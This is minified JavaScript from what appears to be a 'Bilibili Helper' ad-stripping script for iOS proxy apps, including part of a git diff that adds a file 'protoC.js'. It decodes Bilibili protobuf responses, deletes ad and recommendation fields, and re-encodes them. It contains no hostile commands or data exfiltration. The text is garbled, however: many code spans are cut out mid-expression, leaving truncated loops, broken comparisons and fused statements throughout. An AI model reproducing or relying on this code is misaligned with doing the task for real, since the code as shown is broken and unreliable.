f=this.field(s,i[s.localName],t);f!==void 0&&(r[t.useProtoFieldName?s.name:s.jsonName]=f);continue}let l=i[s.oneof];if(l.oneofKind!==s.localName)continue;let o=s.kind=="scalar"||s.kind=="enum"?Object.assign(Object.assign({},t),{emitDefaultValues:!0}):t,a=this.field(s,l[s.localName],o);x(a!==void 0),r[t.useProtoFieldName?s.name:s.jsonName]=a}return r}field(e,t,r){let i;if(e.kind=="map"){x(typeof t=="object"&&t!==null);let s={};switch(e.V.kind){case"scalar":for(let[a,f]of Object.entries(t)){let u=this.scalar(e.V.T,f,e.name,!1,!0);x(u!==void 0),s[a.toString()]=u}break;case"message":let l=e.V.T();for(let[a,f]of Object.entries(t)){let u=this.message(l,f,e.name,r);x(u!==void 0),s[a.toString()]=u}break;case"enum":let o=e.V.T();for(let[a,f]of Object.entries(t)){x(f===void 0||typeof f=="number");let u=this.enum(o,f,e.name,!1,!0,r.enumAsInteger);x(u!==void 0),s[a.toString()]=u}break}(r.emitDefaultValues||Object.keys(s).length>0)&&(i=s)}else if(e.repeat){x(Array.isArray(t));let s=[];switch(e.kind){case"scalar":for(let a=0;a0||r.emitDefaultValues)&&(i=s)}else switch(e.kind){case"scalar":i=this.scalar(e.T,t,e.name,e.opt,r.emitDefaultValues);break;case"enum":i=this.enum(e.T(),t,e.name,e.opt,r.emitDefaultValues,r.enumAsInteger);break;case"message":i=this.message(e.T(),t,e.name,r);break}return i}enum(e,t,r,i,s,l){if(e[0]=="google.protobuf.NullValue")return null;if(t===void 0){x(i);return}if(!(t===0&&!s&&!i))return x(typeof t=="number"),x(Number.isInteger(t)),l||!e[1].hasOwnProperty(t)?t:e[2]?e[2]+e[1][t]:e[1][t]}message(e,t,r,i){return t===void 0?i.emitDefaultValues?null:void 0:e.internalJsonWrite(t,i)}scalar(e,t,r,i,s){if(t===void 0){x(i);return}let l=s||i;switch(e){case h.INT32:case h.SFIXED32:case h.SINT32:return t===0?l?0:void 0:(Z(t),t);case h.FIXED32:case h.UINT32:return t===0?l?0:void 0:(ee(t),t);case h.FLOAT:oe(t);case h.DOUBLE:return t===0?l?0:void 0:(x(typeof t=="number"),Number.isNaN(t)?"NaN":t===Number.POSITIVE_INFINITY?"Infinity":t===Number.NEGATIVE_INFINITY?"-Infinity":t);case h.STRING:return t===""?l?"":void 0:(x(typeof t=="string"),t);case h.BOOL:return t===!1?l?!1:void 0:(x(typeof t=="boolean"),t);case h.UINT64:case h.FIXED64:x(typeof t=="number"||typeof t=="string"||typeof t=="bigint");let o=F.from(t);return o.isZero()&&!l?void 0:o.toString();case h.INT64:case h.SFIXED64:case h.SINT64:x(typeof t=="number"||typeof t=="string"||typeof t=="bigint");let a=O.from(t);return a.isZero()&&!l?void 0:a.toString();case h.BYTES:return x(t instanceof Uint8Array),t.byteLength?hn(t):l?"":void 0}}};function me(n,e=W.STRING){switch(n){case h.BOOL:return!1;case h.UINT64:case h.FIXED64:return $(F.ZERO,e);case h.INT64:case h.SFIXED64:case h.SINT64:return $(O.ZERO,e);case h.DOUBLE:case h.FLOAT:return 0;case h.BYTES:return new Uint8Array(0);case h.STRING:return"";default:return 0}}var Te=class{constructor(e){this.info=e}prepare(){var e;if(!this.fieldNoToField){let t=(e=this.info.fields)!==null&&e!==void 0?e:[];this.fieldNoToField=new Map(t.map(r=>[r.no,r]))}}read(e,t,r,i){this.prepare();let s=i===void 0?e.len:e.pos+i;for(;e.post.no-r.no)}}write(e,t,r){this.prepare();for(let s of this.fields){let l,o,a=s.repeat,f=s.localName;if(s.oneof){let u=e[s.oneof];if(u.oneofKind!==f)continue;l=u[f],o=!0}else l=e[f],o=!1;switch(s.kind){case"scalar":case"enum":let u=s.kind=="enum"?h.INT32:s.T;if(a)if(x(Array.isArray(l)),a==ce.PACKED)this.packed(t,u,s.no,l);else for(let p of l)this.scalar(t,u,s.no,p,!0);else l===void 0?x(s.opt):this.scalar(t,u,s.no,l,o||s.opt);break;case"message":if(a){x(Array.isArray(l));for(let p of l)this.message(t,r,s.T(),s.no,p)}else this.message(t,r,s.T(),s.no,l);break;case"map":x(typeof l=="object"&&l!==null);for(let[p,g]of Object.entries(l))this.mapEntry(t,r,s,p,g);break}}let i=r.writeUnknownFields;i!==!1&&(i===!0?m.onWrite:i)(this.info.typeName,e,t)}mapEntry(e,t,r,i,s){e.tag(r.no,c.LengthDelimited),e.fork();let l=i;switch(r.K){case h.INT32:case h.FIXED32:case h.UINT32:case h.SFIXED32:case h.SINT32:l=Number.parseInt(i);break;case h.BOOL:x(i=="true"||i=="false"),l=i=="true";break}switch(this.scalar(e,r.K,1,l,!0),r.V.kind){case"scalar":this.scalar(e,r.V.T,2,s,!0);break;case"enum":this.scalar(e,h.INT32,2,s,!0);break;case"message":this.message(e,t,r.V.T(),2,s);break}e.join()}message(e,t,r,i,s){s!==void 0&&(r.internalBinaryWrite(s,e.tag(i,c.LengthDelimited).fork(),t),e.join())}scalar(e,t,r,i,s){let[l,o,a]=this.scalarInfo(t,i);(!a||s)&&(e.tag(r,l),e[o](i))}packed(e,t,r,i){if(!i.length)return;x(t!==h.BYTES&&t!==h.STRING),e.tag(r,c.LengthDelimited),e.fork();let[,s]=this.scalarInfo(t);for(let l=0;lte}])}create(e){let t={commandDms:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posze}])}create(e){let t={};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posnew An(n,e,t),Surge:(n,e,t)=>new Un(n,e,t)};var Xe=class extends H{getFn(n,e,t){let r=Xe.clientAdapter[e]||e;return super.getFn(n,r,t)}setFn(n,e,t,r){let i=Xe.clientAdapter[e]||e;return super.setFn(n,i,t,r)}init(){try{this.request=this.createProxy($request),this.response=this.createProxy($response)}catch(n){this.log(n.toString())}}getVal(n){return $persistentStore.read(n)}setVal(n,e){$persistentStore.write(n,e)}msg(n=this.name,e="",t="",r){$notification.post(n,e,t,{url:r??""})}async fetch(n){return await new Promise((e,t)=>{let{method:r,body:i,bodyBytes:s,...l}=n,o=s??i,a=o instanceof Uint8Array;$httpClient[r.toLowerCase()]({...l,body:o,"binary-mode":a},(f,u,p)=>{f&&t(f);let g=a?"bodyBytes":"body";e({status:u.status,headers:u.headers,[g]:p})})})}done(n){let e=n.response??n,t,r;e.bodyBytes?(t=e.bodyBytes,delete e.bodyBytes,r={...n},r.response?r.response.body=t:r.body=t):r=n,$done(r)}},Un=Xe;Un.clientAdapter={bodyBytes:"body"};var q=class extends H{static transferBodyBytes(n,e){return n instanceof ArrayBuffer?e==="Uint8Array"?new Uint8Array(n):n:n instanceof Uint8Array&&e==="ArrayBuffer"?n.buffer.slice(n.byteOffset,n.byteLength+n.byteOffset):n}init(){try{this.request=this.createProxy($request),this.response=this.createProxy($response)}catch(n){this.log(n.toString())}}getFn(n,e,t){let r=q.clientAdapter[e]||e,i=super.getFn(n,r,t);return e==="bodyBytes"&&(i=q.transferBodyBytes(i,"Uint8Array")),i}setFn(n,e,t,r){let i=q.clientAdapter[e]||e,s=t;return e==="bodyBytes"&&(s=q.transferBodyBytes(s,"Uint8Array")),super.setFn(n,i,s,r)}getVal(n){return $prefs.valueForKey(n)?.replace(/\0/g,"")}setVal(n,e){$prefs.setValueForKey(n,e)}msg(n=this.name,e="",t="",r){$notify(n,e,t,{"open-url":r??""})}async fetch(n){return await new Promise(e=>{let t={url:"",method:"GET"};for(let[r,i]of Object.entries(n))r==="id"?t.sessionIndex=i:r==="bodyBytes"?t.bodyBytes=q.transferBodyBytes(i,"ArrayBuffer"):t[r]=i;n.bodyBytes&&delete t.body,$task.fetch(t).then(r=>{let i={status:200,headers:{}};for(let[s,l]of Object.entries(r))s==="sessionIndex"?i.id=l:s==="bodyBytes"?i.bodyBytes=q.transferBodyBytes(l,"Uint8Array"):s==="statusCode"?i.status=l:i[s]=l;e(i)})})}done(n){let e=n.response??n,t={};for(let[r,i]of Object.entries(e))r==="status"?t.status=`HTTP/1.1 ${i}`:r==="bodyBytes"?t.bodyBytes=q.transferBodyBytes(i,"ArrayBuffer"):t[r]=i;$done(t)}},An=q;An.clientAdapter={id:"sessionIndex",status:"statusCode"};var pr=H.getInstance("Bilibili Helper",{debug:!1});function dr(n){let e=gr(n.length),t=new Uint8Array(5+n.length);return t[0]=0,t.set(e,1),t.set(n,5),t}function gr(n){let e=new ArrayBuffer(4);return new DataView(e).setUint32(0,n,!1),new Uint8Array(e)}function X(n,e){let t=n.toBinary(e);pr.done({bodyBytes:dr(t)})}var He=class extends b{constructor(){super("ModeStatus",[{no:1,name:"modes",kind:"message",repeat:1,T:()=>Ze}])}create(e){let t={modes:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posqe}])}create(e){let t={id:0,name:"",f4:0};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posf.typeName===i);if(!l)throw new globalThis.Error("Unable to convert google.protobuf.Any with typeUrl '"+e.typeUrl+"' to JSON. The specified type "+i+" is not available in the type registry.");let o=l.fromBinary(e.value,{readUnknownField:!1}),a=l.internalJsonWrite(o,s);return(i.startsWith("google.protobuf.")||!se(a))&&(a={value:a}),a["@type"]=e.typeUrl,a}internalJsonRead(e,t,r){var i;if(!se(e))throw new globalThis.Error("Unable to parse google.protobuf.Any from JSON "+Q(e)+".");if(typeof e["@type"]!="string"||e["@type"]=="")return this.create();let s=this.typeUrlToName(e["@type"]),l=(i=t?.typeRegistry)===null||i===void 0?void 0:i.find(a=>a.typeName==s);if(!l)throw new globalThis.Error("Unable to parse google.protobuf.Any from JSON. The specified type "+s+" is not available in the type registry.");let o;if(s.startsWith("google.protobuf.")&&e.hasOwnProperty("value"))o=l.fromJson(e.value,t);else{let a=Object.assign({},e);delete a["@type"],o=l.fromJson(a,t)}return r===void 0&&(r=this.create()),r.typeUrl=e["@type"],r.value=l.toBinary(o),r}typeNameToUrl(e){if(!e.length)throw new Error("invalid type name: "+e);return"type.googleapis.com/"+e}typeUrlToName(e){if(!e.length)throw new Error("invalid type url: "+e);let t=e.lastIndexOf("/"),r=t>0?e.substring(t+1):e;if(!r.length)throw new Error("invalid type url: "+e);return r}create(e){let t={typeUrl:"",value:new Uint8Array(0)};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posD}])}create(e){let t={};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posD}])}create(e){let t={};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posj},{no:4,name:"duration",kind:"scalar",T:3,L:0},{no:5,name:"aid",kind:"scalar",T:3,L:0}])}create(e){let t={duration:0n,aid:0n};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posj},{no:31,name:"cm_config",kind:"message",T:()=>rt},{no:41,name:"cm_ipad",kind:"message",T:()=>it}])}create(e){let t={cms:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posj}])}create(e){let t={};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posct}])}create(e){let t={items:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.pos["DynamicType",ae]},{no:2,name:"item_type",kind:"enum",T:()=>["DynamicType",ae]},{no:5,name:"has_fold",kind:"scalar",T:5},{no:6,name:"server_info",kind:"scalar",T:9}])}create(e){let t={cardType:0,itemType:0,hasFold:0,serverInfo:""};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posgt},{no:2,name:"update_num",kind:"scalar",T:3,L:0},{no:3,name:"history_offset",kind:"scalar",T:9},{no:4,name:"update_baseline",kind:"scalar",T:9},{no:5,name:"has_more",kind:"scalar",T:8}])}create(e){let t={list:[],updateNum:0n,historyOffset:"",updateBaseline:"",hasMore:!1};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.poswt},{no:3,name:"topic_list",kind:"message",T:()=>yt}])}create(e){let t={};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posxt}])}create(e){let t={};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.poste}])}create(e){let t={commandDms:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.pos["viewunite.v1.RelateCardType",ge]}])}create(e){let t={relateCardType:0};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posTt}])}create(e){let t={cards:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.pos["viewunite.v1.ModuleType",de]},{no:22,name:"relates",kind:"message",oneof:"data",T:()=>Ut}])}create(e){let t={type:0,data:{oneofKind:void 0}};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posAt}])}create(e){let t={title:"",modules:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.pos["viewunite.v1.TabType",Lt]},{no:2,name:"introduction",kind:"message",oneof:"tab",T:()=>Ft}])}create(e){let t={tabType:0,tab:{oneofKind:void 0}};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posRt}])}create(e){let t={tabModule:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posD},{no:2,name:"ads_control",kind:"message",T:()=>D},{no:3,name:"source_content",kind:"message",repeat:1,T:()=>D}])}create(e){let t={sourceContent:[]};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posSt},{no:7,name:"cm",kind:"message",T:()=>Vt}])}create(e){let t={};return globalThis.Object.defineProperty(t,v,{enumerable:!1,value:this}),e!==void 0&&w(this,t,e),t}internalBinaryRead(e,t,r,i){let s=i??this.create(),l=e.pos+t;for(;e.posr.name==="teenagers");t?.f5?.f1&&(t.f5.f1=0,X(tt,e))}function Sn(n){let e=ft.fromBinary(n);delete e.cmConfig,delete e.cmIpad,e.cms.length=0,X(ft,e)}function Vn(n){let e=ht.fromBinary(n);delete e.cm,X(ht,e)}function Ln(n){let e=dt.fromBinary(n);e.items=e.items.filter(t=>!t.linktype.endsWith("_ad")),X(dt,e)}function Dn(n){let e=Et.fromBinary(n);delete e.topicList,e.dynamicList.list=e.dynamicList.list.filter(t=>t.cardType!==ae.ad),X(Et,e)}function Cn(n){let e=Ot.fromBinary(n);delete e.dm,X(Ot,e)}function Wn(n){let e=zt.fromBinary(n);delete e.cm,e.tab.tabModule.forEach(t=>{if(t.tab.oneofKind!=="introduction")return;let r=t.tab.introduction.modules.find(i=>i.type===de.RELATED_RECOMMEND);r?.data?.oneofKind!=="relates"||!r.data.relates.cards||(r.data.relates.cards=r.data.relates.cards.filter(i=>i.relateCardType===ge.AV))}),X(zt,e)}var wr=/(?.+):\/\/(?[^/]+)\/?(?[^?]+)?\??(?.*)?/,we=class{constructor(e=""){if(this.name="URL v1.0.2",!e)throw new Error("Empty URL");this.parse(e)}parse(e){let{scheme:t,host:r,path:i="",params:s}=e.match(wr)?.groups??{};this.scheme=t,this.host=r,this.path=i,this.params=s?s.split("&").reduce((l,o)=>{let[a,f]=o.split("=");return l[a]=f,l},{}):{}}toString(){let e=this.scheme+"://"+this.host+"/"+this.path;return this.params&&(e+="?"+Object.entries(this.params).reduce((t,[r,i],s)=>t+(s?"&":"")+r+"="+i,"")),e}};var Kt=H.getInstance("Bilibili Helper",{debug:!1}),yr=Kt.request.url,Pn=Kt.response.bodyBytes,vr=new we(yr).path,br=typeof $utils=="object"&&typeof $utils?.ungzip=="function"?$utils.ungzip:fn,kr=Pn.slice(0,5),jt=Pn.slice(5);kr[0]&&(jt=br(jt));var $n={"v1.DM/DmView":Fn,"v1.Teenagers/ModeStatus":Rn,"v1.Reply/MainList":Vn,"v1.Search/SearchAll":Ln,"v2.Dynamic/DynAll":Dn,"viewunite.v1.View/View":Wn,"view.v1.View/ViewProgress":Cn,"view.v1.View/View":Sn};for(let n in $n)if(vr.endsWith(n)){$n[n](jt);break}Kt.exit();})(); diff --git a/Scripts/bilibili/protoC.js b/Scripts/bilibili/protoC.js new file mode 100644 index 00000000..d8c3526a --- /dev/null +++ b/Scripts/bilibili/protoC.js @@ -0,0 +1,3 @@ +// Build: 2024/9/21 20:11:53 +(()=>{console.time=function(r){this._times=this._times||{},this._times[r]=Date.now()};console.timeEnd=function(r){if(this._times&&this._times[r]){let e=Date.now()-this._times[r];console.log(`${r}: ${e}ms`),delete this._times[r]}else console.log(`Timer with label ${r} does not exist.`)};function ir(r){"use strict";function e(){}function t(){}var i=String.fromCharCode,n={}.toString,s=n.call(r.SharedArrayBuffer),f=n(),o=r.Uint8Array,l=o||Array,a=o?ArrayBuffer:l,c=a.isView||function(v){return v&&"length"in v},g=n.call(a.prototype);a=t.prototype;var w=r.TextEncoder,y=new(o?Uint16Array:l)(32);e.prototype.decode=function(v){if(!c(v)){var L=n.call(v);if(L!==g&&L!==s&&L!==f)throw TypeError("Failed to execute 'decode' on 'TextDecoder': The provided value is not of type '(ArrayBuffer or ArrayBufferView)'");v=o?new l(v):v||[]}for(var B=L="",k=0,T=v.length|0,V=T-32|0,E,U,F=0,K=0,C,A=0,W=-1;k>4){case 15:if(C=v[k=k+1|0]&255,C>>6!==2||247>6===2?K+4|0:24,U=U+256&768;case 13:case 12:C=v[k=k+1|0]&255,F<<=6,F|=(U&31)<<6|C&63,K=K+7|0,k>6===2&&F>>K&&1114112>F?(U=F,F=F-65536|0,0<=F&&(W=(F>>10)+55296|0,U=(F&1023)+56320|0,31>A?(y[A]=W,A=A+1|0,W=-1):(C=W,W=U,U=C))):(U>>=8,k=k-U-1|0,U=65533),F=K=0,E=k<=V?32:T-k|0;default:y[A]=U;continue;case 11:case 10:case 9:case 8:}y[A]=65533}if(B+=i(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16],y[17],y[18],y[19],y[20],y[21],y[22],y[23],y[24],y[25],y[26],y[27],y[28],y[29],y[30],y[31]),32>A&&(B=B.slice(0,A-32|0)),k>>31,W=-1,B.length=E)B[T]=E;else{if(2047>=E)B[T]=192|E>>6;else{e:{if(55296<=E)if(56319>=E){var U=v.charCodeAt(k=k+1|0)|0;if(56320<=U&&57343>=U){if(E=(E<<10)+U-56613888|0,65535>18,B[T=T+1|0]=128|E>>12&63,B[T=T+1|0]=128|E>>6&63,B[T=T+1|0]=128|E&63;continue}break e}E=65533}else 57343>=E&&(E=65533);!V&&k<<1>12,B[T=T+1|0]=128|E>>6&63}B[T=T+1|0]=128|E&63}}return o?B.subarray(0,T):B.slice(0,T)},r.TextDecoder=e,r.TextEncoder=t}var b=ir(globalThis);var $=Uint8Array,ae=Uint16Array,rr=Int32Array,li=new $([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0,0]),fi=new $([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13,0,0]),sr=new $([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),ui=function(r,e){for(var t=new ae(31),i=0;i<31;++i)t[i]=e+=1<>1|(x&21845)<<1,J=(J&52428)>>2|(J&13107)<<2,J=(J&61680)>>4|(J&3855)<<4,je[x]=((J&65280)>>8|(J&255)<<8)>>1;var J,x,he=function(r,e,t){for(var i=r.length,n=0,s=new ae(e);n>l]=a}else for(o=new ae(i),n=0;n>15-r[n]);return o},de=new $(288);for(x=0;x<144;++x)de[x]=8;var x;for(x=144;x<256;++x)de[x]=9;var x;for(x=256;x<280;++x)de[x]=7;var x;for(x=280;x<288;++x)de[x]=8;var x,pi=new $(32);for(x=0;x<32;++x)pi[x]=5;var x;var lr=he(de,9,1);var fr=he(pi,5,1),_e=function(r){for(var e=r[0],t=1;te&&(e=r[t]);return e},z=function(r,e,t){var i=e/8|0;return(r[i]|r[i+1]<<8)>>(e&7)&t},$e=function(r,e){var t=e/8|0;return(r[t]|r[t+1]<<8|r[t+2]<<16)>>(e&7)},ur=function(r){return(r+7)/8|0},cr=function(r,e,t){return(e==null||e<0)&&(e=0),(t==null||t>r.length)&&(t=r.length),new $(r.subarray(e,t))};var hr=["unexpected EOF","invalid block type","invalid length/literal","invalid distance","stream finished","no stream handler",,"no callback","invalid UTF-8 data","extra field too long","date not in range 1980-2099","filename too long","stream finishing","invalid zip data"],G=function(r,e,t){var i=new Error(e||hr[r]);if(i.code=r,Error.captureStackTrace&&Error.captureStackTrace(i,G),!t)throw i;return i},dr=function(r,e,t,i){var n=r.length,s=i?i.length:0;if(!n||e.f&&!e.l)return t||new $(0);var f=!t,o=f||e.i!=2,l=e.i;f&&(t=new $(n*3));var a=function(si){var oi=t.length;if(si>oi){var ai=new $(Math.max(oi*2,si));ai.set(t),t=ai}},c=e.f||0,g=e.p||0,w=e.b||0,y=e.l,v=e.d,L=e.m,B=e.n,k=n*8;do{if(!y){c=z(r,g,1);var T=z(r,g+1,3);if(g+=3,T)if(T==1)y=lr,v=fr,L=9,B=5;else if(T==2){var F=z(r,g,31)+257,K=z(r,g+10,15)+4,C=F+z(r,g+5,31)+1;g+=14;for(var A=new $(C),W=new $(19),M=0;M>4;if(V<16)A[M++]=V;else{var se=0,ke=0;for(V==16?(ke=3+z(r,g,3),g+=2,se=A[M-1]):V==17?(ke=3+z(r,g,7),g+=3):V==18&&(ke=11+z(r,g,127),g+=7);ke--;)A[M++]=se}}var ti=A.subarray(0,F),X=A.subarray(F);L=_e(ti),B=_e(X),y=he(ti,L,1),v=he(X,B,1)}else G(1);else{var V=ur(g)+4,E=r[V-4]|r[V-3]<<8,U=V+E;if(U>n){l&&G(0);break}o&&a(w+E),t.set(r.subarray(V,U),w),e.b=w+=E,e.p=g=U*8,e.f=c;continue}if(g>k){l&&G(0);break}}o&&a(w+131072);for(var er=(1<>4;if(g+=se&15,g>k){l&&G(0);break}if(se||G(2),oe<256)t[w++]=oe;else if(oe==256){Ce=g,y=null;break}else{var ni=oe-254;if(oe>264){var M=oe-257,ce=li[M];ni=z(r,g,(1<>4;We||G(3),g+=We&15;var X=ar[Pe];if(Pe>3){var ce=fi[Pe];X+=$e(r,g)&(1<k){l&&G(0);break}o&&a(w+131072);var ii=w+ni;if(w>3&1)+(e>>4&1);i>0;i-=!r[t++]);return t+(e&2)},gr=function(r){var e=r.length;return(r[e-4]|r[e-3]<<8|r[e-2]<<16|r[e-1]<<24)>>>0};function mi(r,e){var t=mr(r);return t+8>r.length&&G(6,"invalid gzip data"),dr(r.subarray(t,-8),{i:2},e&&e.out||new $(gr(r)),e&&e.dictionary)}var yr=typeof TextDecoder<"u"&&new TextDecoder,wr=0;try{yr.decode(pr,{stream:!0}),wr=1}catch{}function Q(r){let e=typeof r;if(e=="object"){if(Array.isArray(r))return"array";if(r===null)return"null"}return e}function le(r){return r!==null&&typeof r=="object"&&!Array.isArray(r)}var q="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),ve=[];for(let r=0;r>4,f=s,n=2;break;case 2:t[i++]=(f&15)<<4|(s&60)>>2,f=s,n=3;break;case 3:t[i++]=(f&3)<<6|s,n=0;break}}if(n==1)throw Error("invalid base64 string.");return t.subarray(0,i)}function yi(r){let e="",t=0,i,n=0;for(let s=0;s>2],n=(i&3)<<4,t=1;break;case 1:e+=q[n|i>>4],n=(i&15)<<2,t=2;break;case 2:e+=q[n|i>>6],e+=q[i&63],t=0;break}return t&&(e+=q[n],e+="=",t==1&&(e+="=")),e}var h;(function(r){r.symbol=Symbol.for("protobuf-ts/unknown"),r.onRead=(t,i,n,s,f)=>{(e(i)?i[r.symbol]:i[r.symbol]=[]).push({no:n,wireType:s,data:f})},r.onWrite=(t,i,n)=>{for(let{no:s,wireType:f,data:o}of r.list(i))n.tag(s,f).raw(o)},r.list=(t,i)=>{if(e(t)){let n=t[r.symbol];return i?n.filter(s=>s.no==i):n}return[]},r.last=(t,i)=>r.list(t,i).slice(-1)[0];let e=t=>t&&Array.isArray(t[r.symbol])})(h||(h={}));var u;(function(r){r[r.Varint=0]="Varint",r[r.Bit64=1]="Bit64",r[r.LengthDelimited=2]="LengthDelimited",r[r.StartGroup=3]="StartGroup",r[r.EndGroup=4]="EndGroup",r[r.Bit32=5]="Bit32"})(u||(u={}));function wi(){let r=0,e=0;for(let i=0;i<28;i+=7){let n=this.buf[this.pos++];if(r|=(n&127)<>4,!(t&128))return this.assertBounds(),[r,e];for(let i=3;i<=31;i+=7){let n=this.buf[this.pos++];if(e|=(n&127)<>>s,o=!(!(f>>>7)&&e==0),l=(o?f|128:f)&255;if(t.push(l),!o)return}let i=r>>>28&15|(e&7)<<4,n=!!(e>>3);if(t.push((n?i|128:i)&255),!!n){for(let s=3;s<31;s=s+7){let f=e>>>s,o=!!(f>>>7),l=(o?f|128:f)&255;if(t.push(l),!o)return}t.push(e>>>31&1)}}var Ne=65536*65536;function Me(r){let e=r[0]=="-";e&&(r=r.slice(1));let t=1e6,i=0,n=0;function s(f,o){let l=Number(r.slice(f,o));n*=t,i=i*t+l,i>=Ne&&(n=n+(i/Ne|0),i=i%Ne)}return s(-24,-18),s(-18,-12),s(-12,-6),s(-6),[e,i,n]}function Te(r,e){if(e>>>0<=2097151)return""+(Ne*e+(r>>>0));let t=r&16777215,i=(r>>>24|e<<8)>>>0&16777215,n=e>>16&65535,s=t+i*6777216+n*6710656,f=i+n*8147497,o=n*2,l=1e7;s>=l&&(f+=Math.floor(s/l),s%=l),f>=l&&(o+=Math.floor(f/l),f%=l);function a(c,g){let w=c?String(c):"";return g?"0000000".slice(w.length)+w:w}return a(o,0)+a(f,o)+a(s,1)}function ze(r,e){if(r>=0){for(;r>127;)e.push(r&127|128),r=r>>>7;e.push(r)}else{for(let t=0;t<9;t++)e.push(r&127|128),r=r>>7;e.push(1)}}function bi(){let r=this.buf[this.pos++],e=r&127;if(!(r&128))return this.assertBounds(),e;if(r=this.buf[this.pos++],e|=(r&127)<<7,!(r&128))return this.assertBounds(),e;if(r=this.buf[this.pos++],e|=(r&127)<<14,!(r&128))return this.assertBounds(),e;if(r=this.buf[this.pos++],e|=(r&127)<<21,!(r&128))return this.assertBounds(),e;r=this.buf[this.pos++],e|=(r&15)<<28;for(let t=5;r&128&&t<10;t++)r=this.buf[this.pos++];if(r&128)throw new Error("invalid varint");return this.assertBounds(),e>>>0}var O;function br(){let r=new DataView(new ArrayBuffer(8));O=globalThis.BigInt!==void 0&&typeof r.getBigInt64=="function"&&typeof r.getBigUint64=="function"&&typeof r.setBigInt64=="function"&&typeof r.setBigUint64=="function"?{MIN:BigInt("-9223372036854775808"),MAX:BigInt("9223372036854775807"),UMIN:BigInt("0"),UMAX:BigInt("18446744073709551615"),C:BigInt,V:r}:void 0}br();function ki(r){if(!r)throw new Error("BigInt unavailable, see https://github.com/timostamm/protobuf-ts/blob/v1.0.8/MANUAL.md#bigint-support")}var vi=/^-?[0-9]+$/,Ie=4294967296,xe=2147483648,Ue=class{constructor(e,t){this.lo=e|0,this.hi=t|0}isZero(){return this.lo==0&&this.hi==0}toNumber(){let e=this.hi*Ie+(this.lo>>>0);if(!Number.isSafeInteger(e))throw new Error("cannot convert to safe number");return e}},R=class extends Ue{static 